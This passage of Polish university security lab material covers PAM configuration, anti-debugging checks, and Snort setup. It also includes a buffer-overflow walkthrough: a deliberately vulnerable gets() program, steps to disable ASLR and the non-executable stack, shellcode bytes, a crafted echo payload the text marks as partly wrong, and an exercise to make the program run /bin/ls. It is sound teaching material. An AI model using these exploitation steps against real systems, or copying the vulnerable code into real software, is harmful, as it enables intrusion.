   • Gospodarowanie prawami dostępu z użyciem SUDO - wprowadzenie w życie polityki dostępu do kont o zwiększonych możliwościach działania w ramach firmy.
5. Szyfrowane kanały komunikacyjne
   • Stosowany przez administratorów dostęp zdalny przez SSH
   • Kopiowanie plików przez rsync - tworzenie kopii bezpieczeństwa danych banku w zdalnej lokacji
   • Podstawy obsługi PGP - szyfrowanie wrażliwych danych banku przy przesyłaniu przez sieć
6. Infrastruktura klucza publicznego i kontenery wykonywania
   • Konfigurowanie certyfikatów SSL/TLS na potrzeby strony WWW Green Forest Bank
   • Konfigurowanie serwera WWW w odseparowanym środowisku (Chroot, Docker)
7. Konfigurowanie ściany ogniowej i VPN Green Forest Bank.
   • Konfiguracja ścian ogniowych Green Forest Bank za pomocą Iptables
   • Konfiguracja połączeń OpenVPN w sieci wewnętrznej
     Green Forest Bank.

Zadanie 1. będzie rozwijane przez Was przez cały semestr. Zadania 2-7 będziecie opracowywać na laboratoriach w 6 blokach po 2 zajęcia z treściami merytorycznymi. Za każde z 7 zadań będzie można dostać do 4 punktów. Zatem łącznie w trakcie semestru można dostać do 28 punktów. Uzyskanie 14 lub mniej punktów oznacza brak dopuszczenia do pierwszego terminu egzaminu (do drugiego terminu dopuszczeni są wszyscy). W ostatnim tygodniu zajęć będzie można poprawić zaliczenie jednego z tych bloków.
Szanowni Państwo stawiamy na Waszą samodzielność w uczeniu się. Czytanki, jakie będziecie studiować to daleko nie cała wiedza, jaką musicie opanować na laboratorium. Starajcie się zawsze pogłębiać ich treść samodzielnie przez dodatkowe studiowanie stron man, info oraz dokumentacji narzędzi, z jakich korzystacie.

Bloki dwóch zajęć laboratoryjnych z treściami merytorycznymi będą miały następującą postać:

• na pierwszych zajęciach w bloku na wstępie jest kartkówka (zakres merytoryczny kartkówki jest podany w materiałach do odpowiedniego laboratorium), z kartkówki można dostać do 2 punktów,
• następnie do końca pierwszych zajęć robione jest zadanie (treść zadania będzie dostępna w materiałach do odpowiedniego laboratorium), za zadanie można dostać do 2 punktów (4 punktów łącznie z kartkówką),
• na drugich zajęciach prowadzący sprawdza wykonanie zadania,
• ocena łączna uzyskiwana jest przez odjęcie od oceny za zadanie różnicy między maksymalną ilością punktów za test a liością faktycznie uzyskaną (<ocena> = <wynik z zadania> - (2 - <wynik z testu>)), czyli maksymalna ocena tutaj uzyskana to 4.

Zadania zaliczeniowe z każdych zajęć można zabrać do domu i tam je dokończyć.

Punkty za aktywność na wykładzie będą przydzielane tak:

• do 0,25 punktu na wykład za quizzy na wykładach,
• do 0,75 punktu za pojawienie się co najmniej jednego pytania w sesji pytań do wykładowcy.

Po wykonaniu wszystkich tych zadań dostaniecie przywilej, pozwalający na przystąpienie do egzaminu na adepta sztuki cyberbezpieczeństwa. Za egzamin będzie można dostać do 28 punktów.

Punkty z laboratorium liczą się do oceny także w drugim terminie egzaminu, zatem uzyskanie pozytywnej oceny nawet w drugim terminie bez systematycznej pracy podczas semestru jest niemożliwe.

Egzamin zerowy: po zdobyciu 28 punktów z laboratoriów przy zarejestrowanej aktywności na wykładzie.

Przy okazji tych działań poznacie:

1. narzędzia zapewniania poufności, integralności i dostępności informacji oraz modele stojące za nimi;
2. narzędzia pozwalające na stosowanie kryptografii, podpisu elektronicznego i infrastruktury klucza publicznego;
3. narzędzia wprowadzania uwierzytelniania, kontroli dostępu, bezpieczeństwa protokołów komunikacyjnych i usług aplikacyjnych;
4. narzędzia analizy zabezpieczeń, monitoringu systemu, wykrywania ataków oraz ochrony przed nimi.

Materiały do zajęć znajdują się na stronach:

• Smurf: http://smurf.mimuw.edu.pl/bsk_lab
• Moodle: https://moodle.mimuw.edu.pl/course/view.php?id=519

PAM

Plugawe Autoryzacji Moduły: modularne systemy autoryzacji w Linuksie

Cel: umożliwienie elastycznej kontroli dostępu do systemu i programów przez wprowadzenie możliwości definiowania własnych modułów dostępu.

Rozwiązanie: ładowalne moduły autoryzacji (Pluggable Authorization Modules, PAM), popularnie zwane wtyczkami, zawierające specjalizowane procedury związane z bezpieczeństwem, np. procedury identyfikacji oparte o RIPEMD-160, SHA3 czy linie papilarne, ale też nakładanie dodatkowych ograniczeń (np. na liczbę jednoczesnych loginów).

Dla danej aplikacji administrator ustala (plikiem konfiguracyjnym), które z nich i jak mają być użyte.

Wprowadzenie procedur obsługiwanych za pomocą PAM wymaga działań na 3 poziomach:

1. Programista aplikacji:

umieszcza w programie (np. /bin/login) odpowiednie wywołania funkcji dla ładowalnych modułów autoryzacji (no i linkuje program z odpowiednią biblioteką).

2. Programista modułów:

pisze ładowalne moduły autoryzacji zawierające specjalizowane metody identyfikacji (np. RIPEMD-160, SHA3, linie papilarne), które będą używane w aplikacjach.

3. Administrator:

instaluje i modyfikuje pliki konfiguracyjne dla aplikacji i modułów autoryzacji (i zapewne także instaluje moduły w systemie).

Na co dzień najbardziej istotny jest poziom 3.

Struktura systemu PAM dzieli się na 4 w miarę niezależne grupy zarządzania (zwane też typami):

- auth: zarządzanie identyfikacją (jak rozpoznajemy, o którego użytkownika chodzi), uwierzytelnieniem czyli autentyfikacją (jak rozpoznajemy, że dany faktyczny podmiot odpowiada podmiotowi zarejestrowanemu w systemie) oraz podstawowymi formami autoryzacji (jakie podmiot ma prawa do działania w systemie),

- account: zarządzanie kontami i bardziej zaawansowaną autoryzacją: określanie, czy użytkownik ma prawo dostępu do danej usługi, czy może zalogować się o danej porze dnia itp.

- session: zarządzanie sesjami (np. limity),

- password: zarządzanie aktualizacją żetonów identyfikujących (np. haseł).

Niektóre programy, np. login, potrzebują usług z wszystkich czterech grup. Inne, takie jak passwd, mogą korzystać tylko z wybranych grup.

Każda aplikacja chcąca używać PAM ma plik konfiguracyjny zawierający listę modułów dla procesu uwierzytelniania. Nazwa pliku nie musi być zgodna z nazwą aplikacji, często na początek używa się „cudzych”, sprawdzonych plików.

Pliki te znajdują się w katalogu /etc/pam.d (w starych wersjach mógł być jeden wspólny plik /etc/pam.conf, obecnie jest on używany tylko gdy brak katalogu /etc/pam.d), na przykład dla /bin/login plikiem tym będzie /etc/pam.d/login.

Plik konfiguracyjny o nazwie other zawiera wartości domyślne (zwykle zabrania wszystkiego). Są w nim tylko odwołania do modułu pam_deny, ewentualnie poprzedzone przez odwołaniami do pam_warn. Tego pliku używa się (również jako początkowego szablonu) dla services bez własnych plików konfiguracyjnych (oczywiście, gdy używają PAM).

Moduł pam_deny po prostu odmawia dostępu (zawsze zwraca niepowodzenie).
Moduł pam_warn rejestruje w syslogu informacje o wykonywanej operacji.

Inny popularny plik używany powszechnie to login.

Wpisy w plikach konfiguracyjnych mają postać:

<grupa>  <kategoria>  <moduł> [<argumenty>]

np.

auth     required     pam_securetty.so
auth     required     pam_unix.so

gdzie <kategoria> to jedna z wartości:

- requisite - niepowodzenie natychmiast wraca do aplikacji z błędem,
- required - każdy taki moduł musi zwrócić sukces,
- sufficient - sukces takiego modułu i wszystkich jego poprzedników, powoduje zwrócenie sukcesu do aplikacji (niepowodzenie jest ignorowane),
- optional - „ozdobnik” bez wpływu na sukces lub niepowodzenie, ale dający możliwość rejestracji działań czy debuggowania plików konfiguracyjnych

albo „pseudokategoria”:

- include,
- substack.

Uwaga: dawniej zamiast pseudokategorii był moduł pam_stack.so --- powodował
dołączenie list z innego podanego pliku (zwykle system-auth). Można natknąć
się na takie przykłady w Internecie.

Często pojawia się pytanie, po co jest kategoria required, skoro istnieje kategoria requisite (i na odwrót)? Kategoria requisite może się przydać, np. gdy nasza polityka bezpieczeństwa każe ukrywać przed potencjalnym atakującym dalsze etapy sprawdzania autentyczności. Z kolei kategoria required może się przydać, np. gdy polityka bezpieczeństwa pozwala na przejście przez wszystkie etapy autentyfikacji, ale nakazuje, aby ukrywać przed potencjalnym atakującym, jakie kroki autentyfikacji skończyły się niepowodzeniem. Przydaje się ona również do zarejestrowania w logach systemowych wyniku działania operacji autentyfikacyjnej, który jest dostępny właśnie po jej wykonaniu.

Ostatnio w PAM wprowadzono kategorie złożone, zapisywane w nawiasach
kwadratowych. Pozwalają uzależnić wybór akcji od konkretnej wartości
zwróconej przez moduł (a nie tylko sukces/porażka). Nie będziemy ich
używać, ale mogą wystąpić w plikach, które będziecie podglądali.

Poszczególne moduły ładowane są kolejno, wiele z nich ma dodatkowe pliki konfiguracyjne zawarte w katalogu /etc/security.

Modułów PAM jest wiele, są one typu open-source, więc można je samodzielnie modyfikować. Można też pisać własne. Technicznie moduł to biblioteka ładowalna dynamicznie przez nazwę (wywołaniem dlopen()).

Trzyma się je zwyczajowo w jakimś katalogu security, np.

/lib/security
/lib64/security
/usr/lib/security
/usr/lib64/security

Zwykle nazwa modułu to pam_cośtam.so, najczęściej działa

man pam_cośtam

Przykłady:

Moduł pam_access zarządza klasycznym logowaniem do systemu lub aplikacji. W celu uaktywnienia modułu pam_access dla aplikacji login należy do jej pliku konfiguracyjnego dodać na końcu grupy account wiersz:

account  required  pam_access.so

Moduł pam_access ma plik konfiguracyjny /etc/security/access.conf. Każdy wiersz w nim ma postać

<uprawnienie> : <użytkownicy> : <miejsca>

Uprawnienie to jeden ze znaków + lub -. Nazwy użytkowników można oddzielać spacjami. Miejsce to nazwa komputera, LOCAL oznacza dostęp lokalny.

Inny użyteczny moduł to pam_limits. Służy on do nakładania ograniczeń ilościowych na zasoby, z jakich korzysta użytkownik, i jest uaktywniany za pomocą wpisu

session  required  pam_limits.so

z domyślnym plikiem konfiguracyjnym /etc/security/limits.conf. Składnia wierszy:

<dziedzina>  <typ>  <ograniczenie>  <wartość>

gdzie <dziedzina> określa użytkowników lub grupy, <typ> to hard lub soft, zaś <ograniczenie> to np. fsize lub nproc. W celu ustanowienia ograniczenia dla użytkownika guest do tylko na jednokrotnego logowania, należy tam wpisać

guest  hard  maxlogins  1

Z kolei moduł pam_securetty ogranicza do konsoli możliwość logowania się na konto root.

Nie ma „kompletnej” listy modułów. W dokumentacji administratora wymienione są te, które w danym momencie przychodzą z pakietem. Ta lista się zmienia :-(żółw się rusza).

Poniżej częściowy wykaz:

pam_access: zobacz wyżej.

pam_debug: tylko do testowania.

pam_deny: zobacz wyżej.

pam_echo: wypisuje zawartośc pliku.

pam_env: ustawia zmienne środowiska.

pam_exec: wywołuje zewnętrzne polecenie.

pam_lastlog: odnotowuje czas ostatniego logowania w pliku /var/log/lastlog.

pam_ldap: autoryzacja w oparciu o LDAP server (niestandardowy).

pam_limits: nakłada ograniczenia na zasoby, plik /etc/security/limits.conf.

pam_listfile: alternatywna wersja pam_access.

pam_mail: sprawdza, czy użytkownik ma nową pocztę.

pam_motd: wypisuje "message of the day", zwykle z /etc/motd.

pam_nologin: jeśli istnieje plik /etc/nologin lub /var/run/nologin, to zwraca niepowodzenie, przy okazji wypisując zawartość tego pliku. Dla root'a zawsze OK.

pam_permit: zawsze zwraca sukces.

pam_pwhistory: sprawdza nowe hasło z ostatnio używanymi.

pam_rootok: tylko root, zwykle umieszcany w /etc/pam.d/su jako "sufficient" test, żeby root mógł stawać się zwykłym użytkownikiem bez podawania hasła.

pam_securetty: sprawdza, czy ten użytkownik ma prawo się logować z tego urządzenia. Zagląda do pliku /etc/securetty file --- jest to wyjątek, bo większość plików pomocniczych jest w /etc/security.

pam_shells: wpuszcza tylko, gdy shell użytkownika jest legalny (tz. wymieniony w pliku /etc/shells).

pam_succeed_if: pozwala sprawdzać różne warunki.

pam_tally: prowadzi licznik prób dostępu, odmawia gdy było za dużo.

pam_time: ograniczenie dostępu według reguł z pliku /etc/security/time.conf.

pam_unix: klasyczna autoryzacja UNIXowa (/etc/passwd, /etc/shadow).

pam_warn: zobacz wyżej.

pam_wheel: uprawnienia roota tylko dla członków grupy wheel.

Przykład pliku konfiguracyjnego /etc/pam.d/su dla programu su

auth		sufficient	pam_rootok.so
# Uncomment the following line to implicitly trust users in the "wheel" group.
#auth		sufficient	pam_wheel.so trust use_uid
# Uncomment the following line to require a user to be in the "wheel" group.
#auth		required	pam_wheel.so use_uid
auth		substack	system-auth
auth		include		postlogin
account		sufficient	pam_succeed_if.so uid = 0 use_uid quiet
account		include		system-auth
password	include		system-auth
session		include		system-auth
session		include		postlogin
session		optional	pam_xauth.so

PAM można używać również we własnych aplikacjach. Popatrzmy na przykład

#include <security/pam_appl.h>
#include <security/pam_misc.h>
#include <stdio.h>
 
static struct pam_conv login_conv = {
  misc_conv,               /* przykładowa funkcja konwersacji z libpam_misc */
  NULL                        /* ewentualne dane aplikacji (,,domknięcie'') */
};
 
void main () {
  pam_handle_t* pamh = NULL;
  int retval;
  char *username = NULL;
 
  retval = pam_start("login", username, &login_conv, &pamh);
  if (pamh == NULL || retval != PAM_SUCCESS) {
    fprintf(stderr, "Error when starting: %d\n", retval);
    exit(1);
  }
 
  retval = pam_authenticate(pamh, 0);  /* próba autoryzacji */
  if (retval != PAM_SUCCESS) {
    fprintf(stderr, "Chyba się nie udało!\n");
    exit(2);
  }
  else
    fprintf(stderr, "Świetnie Ci poszło.\n");
 
  printf("OK\n");  /* rzekomy kod aplikacji */
 
  pam_end(pamh, PAM_SUCCESS);
  exit(0);
}

Po wywołaniu pam_start zmienna pamh będzie zawierać dowiązanie do obiektu PAM, który będzie argumentem wszystkich kolejnych wywołań funkcji PAM.

Zmienna pam_conv to struktura zawierająca informacje o funkcji do konwersacji z użytkownikiem -- tu użyliśmy najprostszej bibliotecznej funkcji misc_conv, można jednak użyć własnej.

Pierwszy argument funkcji pam_start to nazwa aplikacji, potrzebna do odnalezienia pliku konfiguracyjnego. Żeby nie trzeba było go pisać i instalować (wymaga uprawnień roota) można użyć nazwy innej już skonfigurowanej aplikacji (tutaj login) -- będziemy mieć takie same reguły. Lepiej jednak mieć własną nazwę (np. "moje"), wtedy w katalogu /etc/pam.d powinien istnieć plik o tej nazwie (np. kopia pliku "login"). Pozwoli to używać nazwy tej aplikacji w plikach konfiguracyjnych w /etc/security.

Funkcja pam_authenticate uruchamia ,,motor'' sprawdzania PAM -- usługę auth. Dla pozostałych usług/grup istnieją analogiczne funkcje, szczegóły w podręczniku. Funkcja pam_end po prostu kończy sesję (czytając podręcznik man do tej funkcji, zwróć uwagę na gospodarkę zasobami).

Przy kompilacji i linkowaniu należy pamiętać o bibliotekach libpam i libpam_misc, np.

gcc -o tescik tescik.c -lpam -lpam_misc

Podstawowa biblioteka libpam zawsze jest zainstalowana (w /lib lub /usr/lib), nawet nie warto sprawdzać. Trzeba zapewne doładować ,,development''. Na fedoropodobnych systemach to pakiet pam-devel, w Debianie (czyli w laboratorium) to libpam0g-dev. Można też załadować libpam-doc jeśli nie ma. W naszej pracowni

apt-get install libpam0g-dev

Trzy podstawowe procedury autentykacji w PAM to:

1. pam_start(): funkcja PAM która powinna być wywołana na początku. Inicjalizuje bibliotekę PAM, czyta plik konfiguracyjny i ładuje potrzebne moduły autentykacji w kolejności podanej w pliku konfiguracyjnym. Zwraca referencję do biblioteki PAM, której należy używać w następnych wywołaniach.

2. pam_end(): ostatnia funkcja PAM, którą powinna wołać aplikacja. Po jej zakończeniu jesteśmy odłączeni od PAM, a pamięć PAM zostaje zwolniona.

3. pam_authenticate(): interfejs do mechanizmu autoryzacji załadowanych modułów. Wołana przez aplikację najczęściej na początku, żeby zidentyfikować użytkownika.

Inne pożyteczne procedury PAM to:

- pam_acct_mgmt(): sprawdza czy konto bieżącego użytkownika jest aktywne.

- pam_open_session(): rozpoczyna sesję.

- pam_close_session(): zamyka bieżącą sesję.

- pam_setcred(): zarządza tokenami uwierzytelniającymi.

- pam_chauthtok(): zmienia żeton identyfikacji (zapewne hasło).

- pam_set_item(): modyfikuje wpis w strukturze stanu PAM.

- pam_get_item(): pobiera podany element stanu PAM.

- pam_strerror(): zwraca komunikat dla błędu.

Nagłówki tych procedur są w security/pam_appl.h. Warto obejrzeć podręczniki man tych funkcji.

Funkcja konwersacji obsługuje współpracę modułu z aplikacją, dostarczając modułowi metody odpytywania użytkownika o nazwę, hasło itp. Jej sygnatura to:

int conv_func (int, const struct pam_message**,
               struct pam_response**, void*);

Zwykle używa się bibliotecznej funkcji misc_conv.

Materiały:

Główne strona projektu to http://www.linux-pam.org/. Zawiera dokumentację i link do repozytorium kodu, m.in. A.G. Morgan, T. Kukuk ,,The Linux-PAM System Administrators' Guide''

Andrew G. Morgan ,,Pluggable Authentication Modules for Linux'' Linux Journal #44 (12/1997), http://www.linuxjournal.com/article/2120. Artykuł twórcy implementacji dla Linuksa, zawiera m.in. przykład programu używającego PAM.

Stara strona dystrybucyjna wszystkich materiałów dla Linuksa (http://www.kernel.org/pub/linux/libs/pam/) ma obecnie znaczenie historyczne. Ogólnie na sieci jest nieco materiałów przestarzałych, np. z roku 2001. Zostaliście ostrzeżeni!

A poza tym u nas na stronie SO:
tekst Pani Barbary Domagały

Zadanie pokazujące aktywność

W małym banku spółdzielczym z poprzednich zajęć chcesz ulepszyć organizację pracy dwóch pracowników, którzy zarządzają lokatami i kredytami. Napisz wstępną wersję programu, który w przyszłości pozwoli pracownikom na logowanie się do systemu za pomocą prowizorycznej autentykacji dwuskładnikowej. Pracownik może się zalogować pod warunkiem, że poda hasło, a następnie losową liczbę, jaka wyświetli się mu w innym kanale komunikacyjnym. W naszym przypadku niech to będzie wybrana konsola tekstowa (np. tty3). Odpowiedni zestaw plików z kodem i makefile do zbudowania programu zapakowane w archiwum prześlij na Moodle.

Podstawy wykazywania podatności

Podstawy wykazywania podatności

Zabezpieczenia przed debugowaniem

Pewnym utrudnieniem przy śledzeniu programów z użyciem GDB jest zabezpieczenie stosowane w niektórych programach. Mianowicie pierwszą rzeczą, jaką robi debugowany program po starcie, to sprawdzenie, czy nie jest debugowany. Typowe rozwiązanie polega tutaj na próbie wykonania wywołania systemowego ptrace na sobie samym. Wywołanie to dla danego procesu może być wykonane tylko raz. Dlatego jeśli ono zakończy się powodzeniem, to znaczy, że program nie jest uruchomiony pod kontrolą debuggera. Jeśli się nie uda, to znaczy, że działa przy udziale debuggera i można z tą wiedzą coś zrobić, na przykład zakończyć działanie. To właśnie robi poniższy przykład programu:

#include <sys/ptrace.h>
#include <stdio.h>
      
int main() {
  if (ptrace(PTRACE_TRACEME, 0) < 0) {
     printf("This process is being debugged!!!\n");
     exit(1);
  }
  // long interesting code                                 
}

Inna znana technika wykorzystuje fakt, że przejście programu przez ustawiony punkt przerwania (ang. breakpoint) powoduje wysłanie do procesu sygnału SIGTRAP. Wystarczy wtedy uruchomić własną obsługę tego sygnału, żeby debugger taki jak GDB nie dawał sobie rady z zatrzymaniem się w oczekiwanym przez śledzącego miejscu.

#include <signal.h>
#include <stdio.h>

void handler(int signo)
{}

int main()
{
        signal(SIGTRAP, handler);
        printf("Hello!\n");
}

Istnieje jeszcze wiele innych technik, a także rozwinięć technik powyżej zasugerowanych. Ich wspólnym mianowinikiem jest to, że w pewien sposób zakłócają proces, w jaki działa debugger. Zwykle zrozumienie sposobu zakłócania prowadzi do tego, że ominięcie zabezpieczenia jest stosunkowo łatwe (wystarczy zmienić kilka instrukcji w kodzie przed uruchomieniem debuggera).

Uruchamianie programów po przepełnieniu bufora

Widzieliśmy już, jak można uruchomić wywołania systemowe, gdy kod pozwala na wykonanie przepełnienia bufora. Jednak do tej pory nasze wywołania nie miały argumentów. Spróbujmy teraz poradzić sobie z sytuacją, gdy jakieś argumenty musimy podać. Spróbujmy do tego celu wykorzystać lekko zmodyfikowany znany nam fragment programu:

#include <stdio.h>
#include <stdlib.h>

void bad_function(void) {
  char buff[4];
  printf("Podaj mi jakiś napis:");
  gets(buff);
  printf("Jestem bezpieczny, bufor zawiera: %s\n", buff);
}

int main() {
  bad_function();
  exit(0);
}

Będziemy chcieli wykonać skok do procedury, która wypisze nam napis Ha, ha, mam cię! Od razu zróbmy jednak zastrzeżenie, że współczesne systemy wprowadzają liczne zabezpieczenia, które nie pozwalają na łatwe wykonanie tego zadania. Przy okazji zapoznamy się z nimi i pokażemy, jak je usunąć, a tym samym uczynić nasz system bardziej podatnym na ataki. Oczywiście normalnie tego się nie robi, ale od czasu do czasu zachodzi taka potrzeba i warto sobie zdawać sprawę z tego, jakie konsekwencje niesie ze sobą takie działanie.

Na początek zróbmy obserwacje, że podejrzenie w GDB adresu stosu nie pozwala nam na poprawne określenie adresu stosu. Jeśli zmodyfikujemy kod funkcji bad_function, jak następuje:

  void bad_function(void) {
    char buff[4];
    printf("Adres buff 0x%x\n", buff);
    printf("Podaj mi jakiś napis:");
    gets(buff);
    printf("Jestem bezpieczny, bufor zawiera: %s\n", buff);
}

To przekonamy się, że wartość wypisywana bez użycia gdb (0xffffd67c) będzie się różnić od wartości wypisywanej z użyciem gdb (0xffffd5fc). Prz czym, na współczesnych systemach operacyjnych uzyskanie dwa razy tej samej wartości nawet przy uruchomieniu bez użycia gdb jest bardzo trudne. Dzieje się tak, ponieważ w systemach tych działa na poziomie jądra bardzo ważne zabezbpieczenie, ASLR (ang. address space layout randomization, czyli randomizacja rozkładu przestrzeni adresowej). W wyniku działania tego mechanizmu różne części przestrzeni adresowej, w tym stos, są lokowane w miejscach o zmiennych, trudnych do przewidzenia adresach.

Przełamywanie ASLR wykracza poza zakres tych zajęć, więc ułatwimy sobie zadanie przez wyłączenie tego mechanizmu (nie należy robić tego na maszynie, na której przechowujemy ważne dane, i która jest podłączona do Internetu. Można to zrobić na maszynie wirtualnej przeznaczonej do eksperymentów, nie warto robić tego na własnym laptopie.

Samo wyłączenie ASLR w Linuksie dokonuje się, zmieniając wartość zmiennej konfiguracyjnej jądra randomize_va_space. W tym celu należy wpisać do tej zmiennej wartość zero na przykład tak:

Jeśli chcielibyśmy poznać nieco dokładniejszą wartość adresu szczytu stosu, możemy zmienić naszą bad_function w następujący sposób (warto wcześniej dodać do pliku z kodem dyrektywę include dla nagłówka stdint.h):

  void bad_function(void) {
    char buff[4];
    uint64_t sp;
    asm( "mov %%rsp, %0" : "=rm" ( sp ));
    printf("Stack address 0x%x\n", sp);
    printf("Podaj mi jakiś napis:");
    gets(buff);
    printf("Jestem bezpieczny, bufor zawiera: %s\n", buff);
  }

Pozyskanie przybliżonego adresu szczytu stosu może być niekiedy trudniejsze (np. gdy nie mamy dostępu do kodu źródłowego, musimy zmodyfikować kod binarny). Tutaj ze względu na ograniczenia czasowe poprzestaniemy jednak na podanej wyżej prostej metodzie.

Dla uproszczenia zmodyfikujmy sobie naszą funkcję bad_function, tak aby wypisywała wszystkie interesujące wartości adresów:

  void bad_function(void) {
    char buff[4];
    printf("Adres puts %016lp\n", puts);
    printf("Adres exit %016lp\n", exit);
    printf("Adres buff %016lp\n", (long)buff);
    printf("Podaj mi jakiś napis:");
    gets(buff);
    printf("Jestem bezpieczny, bufor zawiera: %s\n", buff);
  }

Po skompilowaniu kodu dostaniemy następujące napisy:

root@bsklab:~# ./a.out 
Adres puts  0x007ffff7e765f0
Adres exit 0x007ffff7e3e660
Adres buff 0x007fffffffec3c
Podaj mi jakiś napis:dd
Jestem bezpieczny, bufor zawiera: dd

Możemy teraz zająć się preparowaniem napisu, jaki będzie wczytywany przez wywołanie gets i który spowoduje wyświetlenie na ekranie wartości nas interesującej. Napis ten będzie miał następującą ogólną strukturę (to jest przykład – są też inne poprawne struktury):

  [4 bajty na zaalokowaną część buff]
  [8 bajtów adresu, przechowującego zgodnie z ABI wartość rejestru %RBP]
  [8 bajtów adresu do naszego kodu ustawiającego parametr wejściowy puts]
  [8 bajtów adresu powrotu, wracającego do kodu funkcji puts]
  [8 bajtów adresu powrotu, wracającego do kodu funkcji exit]
  [kod ładujący do rejestru %RDI adres napisu, jaki ma być wyświetlany]
  [instrukcja RET wykonująca skok do puts]
  [zaterminowany zerem napis, jaki ma być wyświetlany]

Precyzyjne określenie powyższej zawartości, w szczególności adresu napisu, który znajduje się na końcu, wymaga poznania binarnej reprezentacji instrukcji, ładujących do rejestru %RDI adres interesującego nas napisu. Możemy tutaj na przykład użyć asemblera nasm i napisać w nim stosowy kawałek kodu:

        section .text

        global  main
main:
        mov    rdi,0x007fffffffeb2c
        ret

Możemy go skompilować poleceniem:

Wywołanie w tym momencie objdump da nam wynik:

  0000000000000000 <main>:
   0:	48 bf 2c eb ff ff ff 	movabs $0x7fffffffeb2c,%rdi
   7:	7f 00 00 
   a:	c3

Widzimy tutaj, że interesująca nas sekwencja to:

  [0x48]
  [0xBF]
  [8 bajtów adresu napisu]
  [0xC3]

Zatem pełny schemat to:

  [4 bajty na zaalokowaną część buff]
  [8 bajtów adresu, przechowującego zgodnie z ABI wartość rejestru %RBP]
  [8 bajtów adresu do naszego kodu ustawiającego parametr wejściowy puts]
  [8 bajtów adresu powrotu, wracającego do kodu funkcji puts]
  [8 bajtów adresu powrotu, wracającego do kodu funkcji exit]
  [0x48]
  [0xBF]
  [8 bajtów adresu napisu]
  [0xC3]
  [zaterminowany zerem napis, jaki ma być wyświetlany]

Zawartość bloku 8 bajtów adresu, przechowującego zgodnie z ABI wartość rejestru %RBP możemy określić, korzystając z GDB. Szybkie przyjrzenie się ramce procedury bad_function pozwala stwierdzić, że w tym miejscu znajduje się adres zmiennej buff powiększony o 20.

  [na przykład aaaa]
  [0x007fffffffec50]
  [0x007fffffffec60]
  [0x007ffff7e765f0]
  [0x007ffff7e3e660]
  [0x48]
  [0xBF]
  [0x007ffff7e3e66b] (uwaga: tu jest wpisana zła wartość, jaka jest dobra?)
  [0xC3]
  [Ha, ha!!!]
  [0x00]

Co przełożone na konkretne wywołanie echo da:

  # echo -e 'aaaa\x50\xEC\xFF\xFF\xFF\x7F\x00\x00\x60\xEC\xFF\xFF\xFF\x7F\x00\x00\xF0\x65\xE7\xF7\xFF\x7F\x00\x00\x60\xE6\xE3\xF7\xFF\x7F\x00\x00\x48\xBF\x6B\xEC\xFF\xFF\xFF\x7F\x00\x00\xC3Ha, ha!!!\x00' | ./a.out

(Uwaga: powyższy napis wysyłany przez echo jest nieprawdiłowy, jak powinien wyglądać prawidłowy?)

Po wywołaniu powyższego polecenia czeka nas jeszcze jedna niespodzianka. Na współczesnych systemach linuksowych powyższe wywołanie zakończy się błędem segmentacji. Wynika on z tego, że domyślnie zlinkowane programy mają wyłączoną możliwość wykonywania kodu znajdującego się w segmencie stosu. Zabezpieczenie to można usunąć, zmieniając flagę, która o tym decyduje, w pliku wykonywalnym (./a.out). Można tego dokonać za pomocą polecenia:

(Tu uwaga dla użytkowników współczesnego Debiana: polecenie to nie jest jeszcze udostępniane w oficjalnej dystrybucji systemu. Można sobie natomiast ściągnąć ten program z poprzedniej wersji systemu na przykład spod adresu: https://packages.debian.org/buster/amd64/execstack/download )

Ćwiczenie

Rozważmy program

#include <stdio.h>
#include <stdlib.h>

void bad_function(void) {
  char buff[4];
  printf("Podaj mi jakiś napis:");
  gets(buff);
  printf("Jestem bezpieczny, bufor zawiera: %s\n", buff);
}


int main() {
  bad_function();
  exit(0);
}

Skompiluj plik wlam1.c z powyższym kodem za pomocą polecenia:

Po skompilowaniu zablokuj ASLR na maszynie, na której będziesz robić eksperymenty oraz zmodyfikuj w pliku wykonywalnym flagę zabezpieczającą przed wykonywaniem kodu na stosie. Następnie dla uzyskanego pliku wykonywalnego doprowadź do tego, że wywołanie programu wyświetli za pomocą polecenia /bin/ls zawartość jakiegoś katalogu.

Skrypt zawierający polecenia, pozwalające na wykonanie powyższego działania, prześlij do Moodle.

Snort

Snort

Wprowadzenie

Snort jest otwartoźródłowym systemem wykrywania intruzów wdzierających się z sieci (ang. network intrusion detection system, IDS), może też służyć jako system zabezpieczania przed intruzami wdzierającymi się z sieci (ang. network intrusion prevention system, IPS). Oprogramowanie to jest rozwijane przez firmę komercyjną (obecnie, 2021 rok, Cisco). Jednak ważnym elementem zaufania do tego systemu jest jego otwartoźródłowość - każdy ma możliwość sprawdzenia, że zastosowanie Snorta nie spowoduje wprowadzenia intruza bocznymi drzwiami przez zastosowanie tego narzędzia. Dodatkowo duża popularność narzędzia sprawia, że w tym przypadku otwartoźródłowość sprzyja zmniejszaniu zagrożenia.

Snort może działać w wielu rodzajach strumieni danych:

• na ruchu kierowanym do maszyny,
• na ruchu, który dociera do maszyny,
• na ruchu tranzytowym pomiędzy interfejsami i
• na ruchu tranzytowym poprzez segment sieci.

Na takim ruchu może on też wykonywać różnego rodzaju funkcje:

• może działać jako system wykrywania intruzów (IDS), gdy tylko wysyła alarmy,
• może działać jako system zabezpieczania przed intruzami (IPS), gdy oprócz wysyłania alarmów, również niedopuszcza do przekazywania ruchu o określonej, niebezpiecznej charakterystyce.

Na tych zajęciach pokażemy najprostszy scenariusz, gdy Snort pracuje na ruchu, który dociera do maszyny i działa jako system wykrywania intruzów (IDS).

Uwaga: dobrze jest mieć do tych zajęć przygotowane dwie maszyny wirtualne.

Instalacja i początkowa konfiguracja

Na dobry początek warto zainstalować Snorta na maszynie wirtualnej:

# apt-get install snort snort-doc

Podczas instalacji otrzymamy zapytanie o sieć, na której będziemy wykonywać badania. W związku z tym, że będziemy tego obrazu używali w różnych sieciach, pole to należy wyczyścić i odpowiednio ustawić zmienną HOME_NET w pliku /etc/snort/snort.conf.

W tym celu po zakończeniu instalacji otwieramy wspomniany plik i zauważamy, że edytowanie wspomnianej zmiennej nie jest właściwe i należy otworzyć plik /etc/snort/snort.debian.conf, gdzie należy zmiennej DEBIAN_SNORT_HOME_NET nadać wartość opisującą adres sieci, przed atakami z której chcemy się bronić. Możemy ją wyczytać np. za pomocą polecenia ifconfig. Widząc tam zapis

  inet 10.2.7.46  netmask 255.255.240.0  broadcast 10.2.15.255

wpisujemy do zmiennej wartość 10.2.0.0/20, bo wskazuje on, że właśnie 20 bitów zajmuje część adresu określająca adres sieci.

Pierwsze uruchomienie

